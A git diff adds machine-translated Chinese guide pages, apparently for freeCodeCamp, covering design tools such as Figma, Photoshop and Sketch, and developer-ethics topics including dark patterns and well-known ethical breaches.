+*   非常干净整洁的界面，不像Photoshop。
+*   Sketch用户可以轻松切换界面非常相似
+*   重复网格功能
+*   直接包括Illustrator和Photoshop资源
+
+### 缺点
+
+*   没有可用的插件，不像Sketch已经拥有庞大的生态系统
+*   有限的原型选择;缺乏像InVision或Framer这样的专用原型制作工具的许多功能
+
+#### 更多信息：
+
+官方网站： [Adobe](https://www.adobe.com/in/products/experience-design.html)
+
+XD Guru： [xdguru.com](https://www.xdguru.com/)
+
+Adobe XD与Sketch： [Sitepoint](https://www.sitepoint.com/adobe-xd-sketch-will-result-best-ux/)
+
+为什么使用Adobe XD进行原型设计是最完整的设计解决方案： [Sitepoint](https://www.sitepoint.com/prototyping-with-adobe-xd/)
+
+这里有36个视频的播放列表，可以帮助您开始使用Adobe XD： [Youtube](https://youtu.be/HqQtYIMnWhM)
+
+[Adobe Experience Design维基百科页面](https://en.wikipedia.org/wiki/Adobe_Experience_Design)
\ No newline at end of file
diff --git a/client/src/guide/chinese/designer-tools/figma/index.md b/client/src/guide/chinese/designer-tools/figma/index.md
new file mode 100644
index 0000000000..955981d895
--- /dev/null
+++ b/client/src/guide/chinese/designer-tools/figma/index.md
@@ -0,0 +1,33 @@
+---
+title: Figma
+localeTitle: FIGMA
+---
+## FIGMA
+
+Figma是一个基于浏览器的界面设计工具，使团队更容易创建软件。它连接到云，允许多个设计人员同时处理同一个项目。
+
+它有一个内置版本控制系统，如Git，它允许设计人员进行设计，而不必担心设计被其他队友覆盖或删除。
+
+### 为什么菲格？
+
+*   基于浏览器
+*   桌面应用程序适用于Mac和Windows（与Sketch不同）
+*   内置版本控制
+*   您可以导入Sketch文件
+*   强大的排版和矢量图形工具
+*   它具有多人模式，使协作变得轻而易举
+*   与Zeplin和Avocode轻松集成，可用于导出设计
+
+Figma UI非常容易\*用于初学者。如果您曾经是Sketch用户，那么您很快就会感到回家。
+
+\*如果您之前没有使用过Sketch，可能需要一段时间才能熟悉。
+
+#### 更多信息
+
+Figma网站 - [Figma](https://figma.com)
+
+Figma vs Sketch：Showdown - [smashingmagazine](https://www.smashingmagazine.com/2017/03/sketch-figma-showdown/)
+
+另一个打击，Figma vs Sketch - [Medium](https://medium.com/@mengto/figma-vs-sketch-c01e5e74eddd)
+
+需要一些教程？看看Figma： [Youtube](https://www.youtube.com/channel/UCQsVmhSa4X-G3lHlUtejzLA)的官方视频系列
\ No newline at end of file
diff --git a/client/src/guide/chinese/designer-tools/framer/index.md b/client/src/guide/chinese/designer-tools/framer/index.md
new file mode 100644
index 0000000000..ecf4921de8
--- /dev/null
+++ b/client/src/guide/chinese/designer-tools/framer/index.md
@@ -0,0 +1,11 @@
+---
+title: Framer
+localeTitle: 成帧器
+---
+## 成帧器
+
+Framer是一个完整的工作流程，用于创建交互式设计，无论是单人还是团队。通过预先设置的动画，预先制作的原生交互和多个屏幕应用程序流程，您可以快速构建和设计原型。设计方面具有自动布局和智能分组算法，允许设计空间交互并响应添加到其上的各种元素并保持层次结构。 Framer还支持Handoff，这是在设计阶段完成后向开发人员提供准确转换的简单方法。
+
+#### 更多信息：
+
+官方网站： [Framer](https://framer.com/features/) 该网站还有多个使用Framer的官方[指南](https://framer.com/getstarted/guides/) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/designer-tools/illustrator/index.md b/client/src/guide/chinese/designer-tools/illustrator/index.md
new file mode 100644
index 0000000000..6e6ba4ec64
--- /dev/null
+++ b/client/src/guide/chinese/designer-tools/illustrator/index.md
@@ -0,0 +1,16 @@
+---
+title: Illustrator
+localeTitle: 插画
+---
+## 插画
+
+Illustrator是一个用于创建和编辑矢量图形的Adobe程序。它是图形设计师和插图画家用于2D插图，版面设计，跟踪和排版的多功能工具。它是设计人员的领先软件，主要是因为它具有多种功能和可用性。
+
+将Adobe Illustrator与Photoshop分离的主要功能是使用矢量图形。矢量图形使用数学语句构建图像，允许图像在尺寸上干净地放大和缩小，而不降低图像质量。 Adobe Photoshop使用专注于设置像素大小画布的光栅图形。如果要向上或向下缩放光栅图像，结果将变为像素化，从而导致模糊或粗糙的边缘。正是出于这个原因，Adobe Illustrator通常用于从软件图标到广告牌的大小设计。
+
+#### 更多信息
+
+*   [Adobe Illustrator教程](https://design.tutsplus.com/categories/adobe-illustrator)
+*   [平面设计简介](https://design.tutsplus.com/tutorials/10-top-tips-on-creating-flat-design-graphics--cms-25888)
+*   [使用插画家创建平面图标](https://design.tutsplus.com/tutorials/create-a-set-of-flat-precious-gems-icons-in-adobe-illustrator--vector-26188)
+*   [插画家教程](https://helpx.adobe.com/illustrator/tutorials.html)
\ No newline at end of file
diff --git a/client/src/guide/chinese/designer-tools/index.md b/client/src/guide/chinese/designer-tools/index.md
new file mode 100644
index 0000000000..157e68885f
--- /dev/null
+++ b/client/src/guide/chinese/designer-tools/index.md
@@ -0,0 +1,38 @@
+---
+title: Designer Tools
+localeTitle: 设计师工具
+---
+## 设计师工具
+
+在本节中，我们将提供设计人员使用的各种工具的指南。
+
+这些是其中一些：
+
+[素描](https://www.sketchapp.com) - [指南](https://github.com/freeCodeCamp/guides/blob/master/src/pages/designer-tools/sketch/index.md)
+
+[Adobe体验设计](www.adobe.com/products/experience-design.html) - [指南](https://github.com/freeCodeCamp/guides/blob/master/src/pages/designer-tools/Experience-design/index.md)
+
+[Adobe Photoshop](http://adobe.com/Photoshop) - [指南](https://github.com/freeCodeCamp/guides/blob/master/src/pages/designer-tools/photoshop/index.md)
+
+[Adobe Illustrator](http://adobe.com/Illustrator) - [指南](https://github.com/freeCodeCamp/guides/blob/master/src/pages/designer-tools/illustrator/index.md)
+
+[Figma](https://www.figma.com) - [指南](https://github.com/freeCodeCamp/guides/blob/master/src/pages/designer-tools/Figma/index.md)
+
+[Framer](https://framer.com) - [指南](https://github.com/freeCodeCamp/guides/blob/master/src/pages/designer-tools/framer/index.md)
+
+[CLIP STUDIO PAINT](https://www.clipstudio.net/en)
+
+[Moqups](https://moqups.com/)
+
+[和Krita](https://krita.org/en/homepage/)
+
+[MediBang Paint](https://medibangpaint.com/en/)
+
+[Autodesk Sketchbook](https://www.sketchbook.com/)
+
+在本节中，您可以看到设计人员使用的流行的Firefox插件。
+
+这些是其中一些：
+
+*   [颜色选择器](https://addons.mozilla.org/en-us/firefox/addon/colorzilla/?src=collection&collection_id=90e68e6a-f13f-5921-3412-5228262ca9db)
+*   [反应开发人员工具](https://addons.mozilla.org/en-US/firefox/addon/react-devtools/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/designer-tools/invision-studio/index.md b/client/src/guide/chinese/designer-tools/invision-studio/index.md
new file mode 100644
index 0000000000..710cf72da5
--- /dev/null
+++ b/client/src/guide/chinese/designer-tools/invision-studio/index.md
@@ -0,0 +1,14 @@
+---
+title: InVision Studio
+localeTitle: InVision Studio
+---
+## InVision Studio
+
+**注意：** InVision Studio目前仅适用于Early Access注册和Mac。 InVision Studio是另一种界面设计工具，例如[Sketch，](https://guide.freecodecamp.org/designer-tools/sketch)具有无缝集成的原型设计和动画功能，以及简单易用的通信工具，旨在使团队更容易一起设计。与[Figma一样](https://guide.freecodecamp.org/designer-tools/figma) ，InVision Studio建立在与[InVision](https://www.invisionapp.com/)连接的基础上，允许多个设计人员同时处理同一个项目。 InVision Studio非常容易开始使用，并且只是受到用户的想象力和技巧的限制。 UI本身干净且易于理解，因为它遵循与其他软件（如Sketch或Figma）类似的布局。 ###为什么选择InVision Studio？
+
+*   由创建[InVision](https://www.invisionapp.com/)的人制作
+*   高品质的原型设计和动画
+*   高质量的资产库，以帮助您的想法
+*   创建自适应布局以实现更快的响应式设计
+*   与其他软件集成，如Dropbox，Slack，Jira和Trello
+*   与在同一个InVision Studio项目中工作的团队成员进行无缝沟通 ＃＃＃＃ 更多信息 InVision Studio - [InVision Studio](https://www.invisionapp.com/studio) InVision Studio会简化您的产品设计流程吗？ - [Budi Harto Tanrim](https://medium.com/@buditanrim/will-invision-studio-streamlined-your-product-design-process-8dc653bb03c8) 想看更多？看看InVision官方视频系列： [Youtube](PLeWHfyz6lrQWT3HSzOBZMxta_4FcgogZB)
\ No newline at end of file
diff --git a/client/src/guide/chinese/designer-tools/photoshop/index.md b/client/src/guide/chinese/designer-tools/photoshop/index.md
new file mode 100644
index 0000000000..5f819b392b
--- /dev/null
+++ b/client/src/guide/chinese/designer-tools/photoshop/index.md
@@ -0,0 +1,194 @@
+---
+title: Photoshop
+localeTitle: Photoshop中
+---
+## Photoshop中
+
+Adobe Photoshop是一种基于光栅（像素）的图像编辑软件，可供各种内容创建者用于图形/照片的创建和编辑。开发人员或设计人员通常使用Photoshop来创建或修改网站的资产和照片。一些开发人员还将photoshop用于网站设计和模型，但其他工具（如Adobe Experience Design和Sketch）正变得越来越常用。 Adobe Photoshop适用于Windows和Mac，但目前不适用于Linux。
+
+开发人员可以在photoshop中执行的常见操作是修改图像的像素大小和分辨率（网页为72dpi）以便正确使用Web，并修改图像以具有透明背景（使用文件类型.gif和.png）。通常的做法是将图像的大小减小到需要在网站上使用的最大尺寸。这减少了服务器空间和加载时间，Photoshop是实现这一目标的工具。
+
+### 概要
+
+*   基于光栅的图像编辑软件
+*   Photoshop文件是.psd，可以导出到大多数图像文件类型。
+*   Photoshop使用像素。确保创建足够大的资产，因为在不降级的情况下不可能扩大规模。
+*   可通过Adobe订阅下载适用于Windows和Mac的下载。
+*   变得不常用于网站/用户界面模型。
+*   许多用于照片编辑的高级工具和功能，开发人员可能不需要。
+
+Photoshop创建于1988年，是各种图像处理任务的行业标准，例如：
+
+*   照片处理，如裁剪图像，快速改变颜色
+*   设计[的实物模型](https://en.wikipedia.org/wiki/Mockup)的网站或应用
+*   设计徽标1
+*   创建[样式图块](http://styletil.es/)
+*   设计图标
+
+Photoshop由网页设计师，移动应用程序设计师，用户体验设计师和摄影师以及其他行业专业人士使用。
+
+### Photoshop与其他工具有何不同？
+
+开始的设计师通常想知道Photoshop和Illustrator之间的区别，以了解使用哪个工具：
+
+Photoshop会创建光栅图像，这意味着如果您进行近距离放大，则可以看到图像上的像素。
+
+另一方面，Illustrator创建矢量图形。矢量图形可以调整为任何形状，没有任何像素化。
+
+例如：
+
+![矢量vs光栅示例](https://raw.githubusercontent.com/cecyc/textures/master/vector-vs-raster.jpg)
+
+照片是光栅图像，插图是矢量图像。
+
+当您需要使用多种媒体格式（照片，文本）或不关心无需像素化的大小调整时，请选择Photoshop。
+
+### 安装
+
+Adobe Photoshop是Creative Cloud程序套件的一部分。您可以[通过Adobe网站](https://www.adobe.com/products/photoshop/free-trial-download.html)安装免费的7天Photoshop试用版。试用后，您需要选择适合您的价格选项。
+
+如果你需要的只是Photoshop，你可以选择单应用程序选项，每月19.99美元，它包括访问TypeKit（一个很好的字体来源）和20GB的存储空间。
+
+学生和老师可以[在这里](http://www.adobe-students.com/creativecloud/buy/students.html)获得[教育折扣](http://www.adobe-students.com/creativecloud/buy/students.html) 。
+
+### 基本
+
+#### 开始一个新文件
+
+首次打开Photoshop时，您可能会看到一个对话框，询问您是否要：
+
+*   打开现有文档
+*   创建一个新文档
+
+如果您没有看到，可以转到`File` > `New...`或使用`CMD` / `ctrl` + `N`键盘快捷键。
+
+对于Web项目，您需要选择较低的分辨率或dpi（每像素点数）。标准是72 dpi。
+
+对于打印项目，您应该选择更高的分辨率。建议至少300 dpi。
+
+#### 概观
+
+![Photoshop窗口视图](https://raw.githubusercontent.com/cecyc/textures/master/photoshop-view.png)
+
+当您打开Photoshop时，您将看到几个主要组件。
+
+左侧的工具调色板和右侧的调色板部分。
+
+工具选项板具有操作或编辑图像所需的所有工具（请参阅下面的“工具”部分）。
+
+有些工具有自己的调色板，您将在右侧的调色板部分看到。您可以通过转到“ `Window`并切换可用的各种调色板来控制在调色板视图中看到的调色板。
+
+画布是项目的工作区。您可以在画布周围移动元素，并调整画布大小。不在画布上的任何东西都是不可见的。
+
+#### 工具
+
+![Photoshop工具调色板](https://raw.githubusercontent.com/cecyc/textures/master/tools-palette.png)
+
+1.  移动工具：在画布周围移动元素。
+    
+2.  选框工具：在图层上标记和编辑矩形或圆形选区。
+    
+3.  套索工具：可用于绘制选区的自由形式选择工具。
+    
+4.  魔棒工具：从图像中的特定颜色中进行选择。
+    
+5.  裁剪工具：裁剪画布的大小。
+    
+6.  滴管工具：从图像中选择一种颜色并将其加载到调色板中。
+    
+7.  点修复画笔工具：从图像克隆区域，并将其混合到图像的不同部分。用它来修饰和混合。
+    
+8.  画笔工具：自由形式绘图。
+    
+9.  克隆图章工具：复制并粘贴图像中的某些像素。用它来修饰。
+    
+10.  历史记录笔刷：根据历史记录将图像的颜色和其他属性恢复。用它来纠正错误。
+    
+11.  橡皮擦工具：自由形式擦除。
+    
+12.  油漆桶工具：用颜色填充选择（默认前景色）。
+    
+13.  模糊工具：图像的自由形式模糊。
+    
+14.  减淡工具：减轻图像的一部分。
+    
+15.  钢笔工具：用于绘制路径或以更精确的方式进行选择。
+    
+16.  水平类型工具：在水平线上键入文本（默认前景色）。
+    
+17.  路径选择工具：选择绘制路径。
+    
+18.  自定义形状工具：从各种形状预设中选择以绘制到画布上。
+    
+19.  手工工具：在画布上移动。
+    
+20.  放大镜工具：放大或缩小画布。
+    
+
+在最底部，您可以设置前景色和背景色。您可以通过按`x`键快速切换前景色和背景色。
+
+#### 图层
+
+可以从调色板部分窗口的右侧访问图层调色板。
+
+项目由多个层组成。项目中的每个元素都是自己的图层。图层是可堆叠的。
+
+在下面的示例中，“圆”图层位于图层调板上的“A”图层顶部。这意味着圆圈呈现在画布上的字母“A”之上。
+
+每次要防止图层进行随意调整时，可以通过从图层窗口中选择并按下锁定按钮来锁定图层。
+
+您还可以为每个图层指定标题。当您使用复杂的合成时，这是一种很好的做法。只需双击图层窗口中的图层标题即可重新命名。哪个是使用文件夹的好方法，你也应该为大项目中的良好实践做些什么。
+
+![图层调色板](https://raw.githubusercontent.com/cecyc/textures/master/layers.png)
+
+#### 导入字体
+
+Photoshop Creative Cloud许可证附带免费的[Typekit](https://typekit.com/)帐户。 Typekit是一种字体代工厂，您可以在其中找到用于数字或打印用途的字体。
+
+要从Typekit添加字体：
+
+1.  从“工具”选项板中选择“水平类型工具”。
+2.  单击左上角的字体选择器下拉菜单。
+3.  单击`add fonts from Typekit`
+
+![从Typekit添加字体](https://raw.githubusercontent.com/cecyc/textures/master/add-from-typekit.png)
+
+这将打开一个浏览器窗口并带您进入Typekit网站，您可以在其中向Photoshop Creative Cloud帐户添加字体（确保使用您的Adobe帐户凭据登录）。添加到您的帐户后，使用“类型”工具时，您可以使用这些字体。
+
+#### 导出文件
+
+单击`File` > `Export` 。
+
+然后，您可以选择`Quick export to PNG` ，这在大多数情况下适合Web使用。
+
+如果需要其他格式，请选择“ `File` >“ `Export` >“ `Export as...` 。在那里，您可以选择`PNG` ， `JPG`或`GIF` 。
+
+### Photoshop键盘快捷键
+
+|工具快捷方式| MAC |赢| | -------------------------- | ------ | ------ | |移动工具| V | V |  
+|矩形选框工具| M | M |  
+|椭圆选框工具| M | M | |套索工具| L | L | |多边形套索工具| L | L | |磁性套索工具| L | L | |魔杖工具| W | W | |快速选择工具| W | W | |裁剪工具| C | C | |切片工具| C | C | |切片选择工具| C | C | |吸管工具|我|我| |彩色采样器工具|我|我| |标尺工具|我|我| |注意工具|我|我| |计数工具|我|我| |斑点修复刷工具| J | J | |治疗刷工具| J | J | |补丁工具| J | J | |红眼工具| J | J | |画笔工具| B | B | |铅笔工具| B | B | |颜色替换工具| B | B | |搅拌机刷工具| B | B | |克隆邮票工具| S | S | |图案印章工具| S | S |
+
+### Photoshop的替代品
+
+*   [Pixelmator](http://www.pixelmator.com/mac/) （仅适用[于](http://www.pixelmator.com/mac/) Mac）
+*   [GIMP](https://www.gimp.org/) （Mac和PC）
+
+### Photoshop的在线替代品
+
+*   [的Pixlr](https://pixlr.com/)
+*   [Photopea](https://www.photopea.com/) （编辑.psd文件的唯一在线工具）
+
+#### 脚注
+
+1.  虽然您可以在Photoshop中设计徽标，但大多数设计师选择使用Illustrator作为徽标，因为Illustrator会创建矢量图像，以便更轻松地为多种用途调整徽标的大小，例如用于名片的小徽标或用于横幅标记的大徽标。
+2.  您可以使用“笔刷预设”选项在Photoshop中创建自己的笔刷。您还可以导入画笔。这允许您不限制自己使用默认画笔。
+3.  如果您使用图形平板电脑制作艺术品，使用Photoshop会更容易也更好，因为您有多种画笔选项，而Illustrator中没有。
+
+#### 更多信息：
+
+*   [官方网站](https://www.adobe.com/products/photoshop.html)
+*   [光栅与矢量图形](https://www.psprint.com/resources/difference-between-raster-vector/)
+*   [学习和支持](https://helpx.adobe.com/support/photoshop.html?promoid=5NHJ8FD2&mv=other)
+
+替代方案：Gimp（Linux和免费提供）
\ No newline at end of file
diff --git a/client/src/guide/chinese/designer-tools/sketch/index.md b/client/src/guide/chinese/designer-tools/sketch/index.md
new file mode 100644
index 0000000000..e2baffb712
--- /dev/null
+++ b/client/src/guide/chinese/designer-tools/sketch/index.md
@@ -0,0 +1,36 @@
+---
+title: Sketch
+localeTitle: 草图
+---
+## 草图
+
+Sketch是Mac的专业设计应用程序，它使用基于矢量的工作流程。界面干净，吸引新用户，也是Adobe Fireworks用户熟悉的工具。对于不需要丰富的界面设计选项的用户，Sketch已成为Photoshop的流行替代工具。
+
+### 为什么草图？
+
+*   轻松重用元素
+*   原型
+*   与他人合作
+*   很多插件
+*   以多种格式导出文件，例如png，svg等。甚至2x版本的视网膜显示也很容易
+*   广阔的社区
+*   从设计元素轻松复制CSS属性
+*   导出样式指南，易于阅读HTML / CSS
+
+### 我为什么要切换到草图？
+
+Sketch旨在构建数字产品，而不是编辑照片和打印图形。 Sketch的干净界面有助于在模拟或构建UI / UX设计时保持井井有条。 Sketch使用的艺术板强制使用像素网格进行精确设计。导出设计很简单，支持不同的设备分辨率。
+
+### 有用的草图插件
+
+*   [Zeplin - 生成并导出设计资产和样式指南](https://zeplin.io/)
+*   [Sketch IconFont - 帮助您轻松插入和管理图标字体中的图标](https://github.com/keremciu/sketch-iconfont)
+*   [Mirr.io - 在Sketch的任何设备中的任何浏览器中预览原型](https://mirr.io/)
+
+#### 更多信息：
+
+*   [草图](https://www.sketchapp.com)
+*   [草图文档](https://www.sketchapp.com/docs/)
+*   [学习素描](http://learnsketch.com/tutorials)
+*   [草图应用程序源](https://www.sketchappsources.com/)
+*   [YouTube - 草图速成课程](https://www.youtube.com/playlist?list=PLWlUJU11tp4fEXI8deWhBQAHDv9R23WHB)
\ No newline at end of file
diff --git a/client/src/guide/chinese/developer-ethics/case-studies/index.md b/client/src/guide/chinese/developer-ethics/case-studies/index.md
new file mode 100644
index 0000000000..d24e8121aa
--- /dev/null
+++ b/client/src/guide/chinese/developer-ethics/case-studies/index.md
@@ -0,0 +1,30 @@
+---
+title: Case Studies
+localeTitle: 实例探究
+---
+## 实例探究
+
+东特内塞州立大学计算机与信息科学系软件工程伦理研究所发布了一系列案例研究，以帮助实践软件开发人员和学生了解他们可能面临的各种道德困境。 [国际专业软件标准 发展和道德责任](http://seeri.etsu.edu/TheSECode.htm)是每种情况下大部分分析的基础。
+
+案例：
+
+*   [**Big Brother间谍软件**](http://seeri.etsu.edu/SECodeCases/ethicsC/BigBrother.htm) - 提出9月11日后环境中隐私，安全和举报之间紧张的问题。
+    
+*   [**计算机化患者记录**](http://seeri.etsu.edu/SECodeCases/ethicsC/Computerized%20Patient%20Records.htm) - 该案例使用患者记录来检查开发人员对信息安全的责任。它评估了一系列备选方案。
+    
+*   [**线索死亡**](http://seeri.etsu.edu/SECodeCases/ethicsC/DeathByWire.htm) - 案件解决了从机械系统到纯电子/计算机系统的控制权转移问题。它探讨了这一过程已扩展到重型车辆的情况。它还研究了将安全关键设备的控制权转交给计算机时会发生什么。
+    
+*   [**数字钱包和吹口哨**](http://seeri.etsu.edu/SECodeCases/ethicsC/DigitalWallets.htm) - 这是基于涉及安全的真实案例，包括对何时以及如何吹口哨的决定进行分析。
+    
+*   [**仅适用于女孩**](http://seeri.etsu.edu/SECodeCases/ethicsC/ForGirlsOnly.htm) - 本案例着眼于软件开发中性别偏见的真实案例。
+    
+*   [**纳米技术：吞下芯片**](http://seeri.etsu.edu/SECodeCases/ethicsC/NanoTechnology.htm) - 这个案例使用纳米技术的工具来探索解决软件开发人员面临的隐私和安全问题的方法......
+    
+*   [**爱国者导弹案例**](http://seeri.etsu.edu/SECodeCases/ethicsC/PatriotMissile.htm) - 本文探讨了与爱国者导弹灾难相关的配置管理和有效设计的重要性。
+    
+*   [**Therac-25**](http://users.csc.calpoly.edu/~jdalbey/SWE/Papers/THERAC25.html) - 这个案例强调了基于软件的控制对危及生命的系统的危险。
+    
+
+#### 更多信息
+
+其他信息可通过[软件工程伦理研究所获得](http://seeri.etsu.edu)
\ No newline at end of file
diff --git a/client/src/guide/chinese/developer-ethics/dark-patterns/index.md b/client/src/guide/chinese/developer-ethics/dark-patterns/index.md
new file mode 100644
index 0000000000..3b69deb070
--- /dev/null
+++ b/client/src/guide/chinese/developer-ethics/dark-patterns/index.md
@@ -0,0 +1,34 @@
+---
+title: Dark Patterns
+localeTitle: 黑暗模式
+---
+## 黑暗模式
+
+黑暗模式是用于欺骗网站或Web应用程序用户的常见模式。
+
+例子包括：
+
+*   [**诱饵和开关**](https://darkpatterns.org/types-of-dark-pattern/bait-and-switch) - 用户开始做一件事，但发生了另一种不受欢迎的事情。
+    
+*   [**伪装广告**](https://darkpatterns.org/types-of-dark-pattern/disguised-ads) - 广告伪装成其他类型的内容或导航，以便用户点击它们。
+    
+*   [**强制连续性**](https://darkpatterns.org/types-of-dark-pattern/forced-continuity) - 在免费试用结束时，在没有警告的情况下默默地向用户的信用卡收费。
+    
+*   [**朋友垃圾邮件**](https://darkpatterns.org/types-of-dark-pattern/friend-spam) - 一个网站或应用程序要求用户的电子邮件或社交媒体权限，假装它将用于期望的结果（例如找朋友），但随后在声称来自该用户的消息中将所有用户的联系人垃圾邮件。
+    
+*   [**隐藏成本**](https://darkpatterns.org/types-of-dark-pattern/hidden-costs) - 在结账流程的最后一步，仅发现一些意外收费，例如交付费用，税收等，这些费用在处理用户付款之前未披露。
+    
+*   [**误导**](https://darkpatterns.org/types-of-dark-pattern/misdirection) - 设计有目的地将用户的注意力集中在一件事上，以便分散他人的注意力。
+    
+*   [**价格比较预防**](https://darkpatterns.org/types-of-dark-pattern/price-comparison-prevention) - 在线零售商使访问者难以将商品的价格与其他商品进行比较，因此他们无法做出明智的决定。
+    
+*   [**隐私Zuckering**](https://darkpatterns.org/types-of-dark-pattern/privacy-zuckering) - 用户被欺骗公开分享有关他们自己的更多信息。以Facebook首席执行官马克扎克伯格命名。
+    
+*   [**Roach Motel**](https://darkpatterns.org/types-of-dark-pattern/roach-motel) - 该设计使用户很容易进入某种情况，但随后使他们很难摆脱它（例如订阅）。
+    
+*   [**潜入篮子**](https://darkpatterns.org/types-of-dark-pattern/sneak-into-basket) - 用户试图购买东西，但在购买过程中的某个地方，网站会通过在前一页上使用选择退出单选按钮或复选框将其他物品偷偷放入他们的购物篮中。
+    
+*   [**特技问题**](https://darkpatterns.org/types-of-dark-pattern/trick-questions) - 用户可以回答一个问题，当快速浏览时会出现一个问题，但如果仔细阅读，则会完全问另一个问题。
+    
+
+暗示模式的目录以及不断更新的真实世界示例列表在[darkpatterns.org上进行了主要处理](https://darkpatterns.org) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/developer-ethics/ethical-breaches/index.md b/client/src/guide/chinese/developer-ethics/ethical-breaches/index.md
new file mode 100644
index 0000000000..a10b5a5348
--- /dev/null
+++ b/client/src/guide/chinese/developer-ethics/ethical-breaches/index.md
@@ -0,0 +1,23 @@
+---
+title: Ethical Breaches
+localeTitle: 道德违规
+---
+## 道德违规
+
+已经有一些广为人知的案例，其中软件被用来欺骗用户甚至违法。这些案件的核心是一个或多个开发人员违反道德规范。此类案件包括：
+
+*   [**Uber Greyball**](http://www.businessinsider.com/uber-greyball-app-vtos-authorities-2017-3?op=1) - 由乘车共享公司Uber创建的工具，它从Uber的应用程序收集数据，以识别和躲避多个城市的官员。
+    
+*   [**Volkswagon排放丑闻**](https://en.wikipedia.org/wiki/Volkswagen_emissions_scandal) - 大众有意编程涡轮增压直喷（TDI）柴油发动机，仅在实验室排放测试期间激活一些排放控制。该规划使得车辆的氮氧化物输出在监管测试期间符合美国标准，但在实际驾驶中排放的氮氧化物高达40倍。
+    
+*   [**Zenefits保险违规行为**](http://www.techwire.net/news/zenefits-fined-7-million-for-california-insurance-violations.html) - 前Zenefits首席执行官帕克康拉德制作了一个浏览器扩展程序，允许其经纪人伪造他们已完成必要的52小时在线培训课程，保险代理人必须在加州获得许可。
+    
+
+\-
+
+#### 更多信息
+
+*   [优步，大众和Zenefits有什么共同之处？他们都使用隐藏的代码来违法。](https://medium.freecodecamp.org/dark-genius-how-programmers-at-uber-volkswagen-and-zenefits-helped-their-employers-break-the-law-b7a7939c6591)
+*   [您可以采取10多项措施来避免违反道德规范的行为](http://www.techrepublic.com/blog/10-things/10-plus-things-you-can-do-to-avoid-ethical-breaches/)
+*   [程序员正在就他们被要求做的不道德和非法的事情进行大量讨论](http://uk.businessinsider.com/programmers-confess-unethical-illegal-tasks-asked-of-them-2016-11?op=1)
+*   [Facebook面临批评，声称它违反了研究的道德准则](https://www.theguardian.com/technology/2014/jun/30/facebook-internet)
\ No newline at end of file
diff --git a/client/src/guide/chinese/developer-ethics/index.md b/client/src/guide/chinese/developer-ethics/index.md
new file mode 100644
index 0000000000..7ee512643c
--- /dev/null
+++ b/client/src/guide/chinese/developer-ethics/index.md
@@ -0,0 +1,44 @@
+---
+title: Developer Ethics
+localeTitle: 开发者道德
+---
+## 开发者道德
+
+开发人员道德规范描述了应用于软件开发人员行为时的道德领域。
+
+根据[互联网百科全书，](http://www.iep.utm.edu/ethics/)道德领域（或道德哲学）涉及“系统化，捍卫和推荐对与错的概念”。
+
+多年来，一些组织和个人试图将开发者道德规范化为各种誓言，承诺和行为准则。
+
+例子包括：
+
+*   IEEE-CS / ACM软件工程伦理与专业实践联合工作组[**的国际专业软件开发和道德责任标准**](http://seeri.etsu.edu/TheSECode.htm)
+    
+*   计算机伦理学院[**计算机伦理十诫**](http://computerethicsinstitute.org/publications/tencommandments.html)
+    
+*   [**计算机专业人员的承诺**](http://pledge-of-the-computing-professional.org/home-page/the-oath)
+    
+*   Bill Sourour [**的值得信赖的编码者的承诺**](https://medium.com/@BillSourour/the-trustworthy-coders-pledge-aa5ba046c5aa)
+    
+*   [**程序员的誓言**](https://www.youtube.com/watch?v=36NgPu9OyRM&list=PLWKjhJtqVAbno-B4RmJHCDO0ZUKC2tpUQ)由“叔叔鲍勃”马丁
+    
+*   [**“永不再来”的承诺**](http://neveragain.tech)
+    
+*   [**ACM道德规范**](http://www.acm.org/about-acm/acm-code-of-ethics-and-professional-conduct)
+    
+
+这些例子中出现的共同主题包括对诚实，正直和公平的承诺。
+
+迄今为止，由于大多数软件开发人员不属于 - 并且不受任何官方命令，行会，协会或社会的管辖，因此没有单一的，编纂的道德标准被广泛采用。
+
+\-
+
+#### 更多信息：
+
+*   斯坦福大学哲学百科全书中的[计算机与信息伦理学](https://plato.stanford.edu/archives/win2014/entries/ethics-computer/) 。
+    
+*   WikiPedia中的[计算机伦理学](https://en.wikipedia.org/wiki/Computer_ethics)条目
+    
+*   [CSE 302 - 计算机科学专业伦理](http://www3.cs.stonybrook.edu/~mueller/teaching/cse302/) - 为石溪大学工程与应用科学学院计算机科学系授课的大纲和学习材料。
+    
+*   [一个非常简短的计算机伦理史](https://web.archive.org/web/20080418122849/http://www.southernct.edu/organizations/rccs/resources/research/introduction/bynum_shrt_hist.html) - 来自2000年夏季美国哲学协会哲学与计算通讯的文章
\ No newline at end of file
diff --git a/client/src/guide/chinese/developer-ethics/resources/index.md b/client/src/guide/chinese/developer-ethics/resources/index.md
new file mode 100644
index 0000000000..90ddf4eb00
--- /dev/null
+++ b/client/src/guide/chinese/developer-ethics/resources/index.md
@@ -0,0 +1,31 @@
+---
+title: Resources
+localeTitle: 资源
+---
+如果您有开发人员的道德问题，您会去哪里？此页面列出了可用于在具有挑战性的情况下提供帮助的资源。
+
+1.  开发者会员协会
+
+成员协会的存在是为了促进特定职业的完整性。通常，协会提供的服务之一是道德领域。
+
+其中一个协会是[计算机协会](http://www.acm.org/about-acm/code-of-ethics) 。它提供了您可以参考[的道德准则](http://ethics.acm.org/code-of-ethics) 。他们还为开发人员提供道德领域的持续资源。
+
+另一个来源是国际游戏开发者协会，该协会也有[道德准则](https://www.igda.org/?page=codeofethics) 。
+
+2.  随时了解发展世界正在发生的事情
+
+阅读发展世界中的道德挑战将有助于您在需要之前发展自己的“我会做什么”的感觉。
+
+保持意识，并思考如果遇到类似情况你会怎么做。在充满挑战的情况下练习您的回应。一篇可能有助于表达您意见的文章是[软件开发人员](https://www.cio.com/article/3156565/developer/should-software-developers-have-a-code-of-ethics.html)是否[应该](https://www.cio.com/article/3156565/developer/should-software-developers-have-a-code-of-ethics.html)从cio.com [获得道德规范](https://www.cio.com/article/3156565/developer/should-software-developers-have-a-code-of-ethics.html) 。
+
+3.  立即与同行开始对话。
+
+道德受到办公室文化的高度影响，因此以身作则。是您组织中公开谈论道德的人，并在可能的情况下倡导更符合道德的文化。 Pyschology Today有关于[建立道德文化的](https://www.psychologytoday.com/blog/do-the-right-thing/201507/six-ways-create-culture-ethics-in-any-organization)提示。
+
+4.  不要放弃
+
+当新的道德违规行为发生时，很容易变得不受影响 - 但事实并非如此。为开发人员创造道德未来将带给我们所有人。
+
+5.  知道你的“为什么”
+
+想想你的用户。想想你的社区。想想你的家人。在你处于一个充满挑战的境地之前，要知道为什么你会做正确的事。
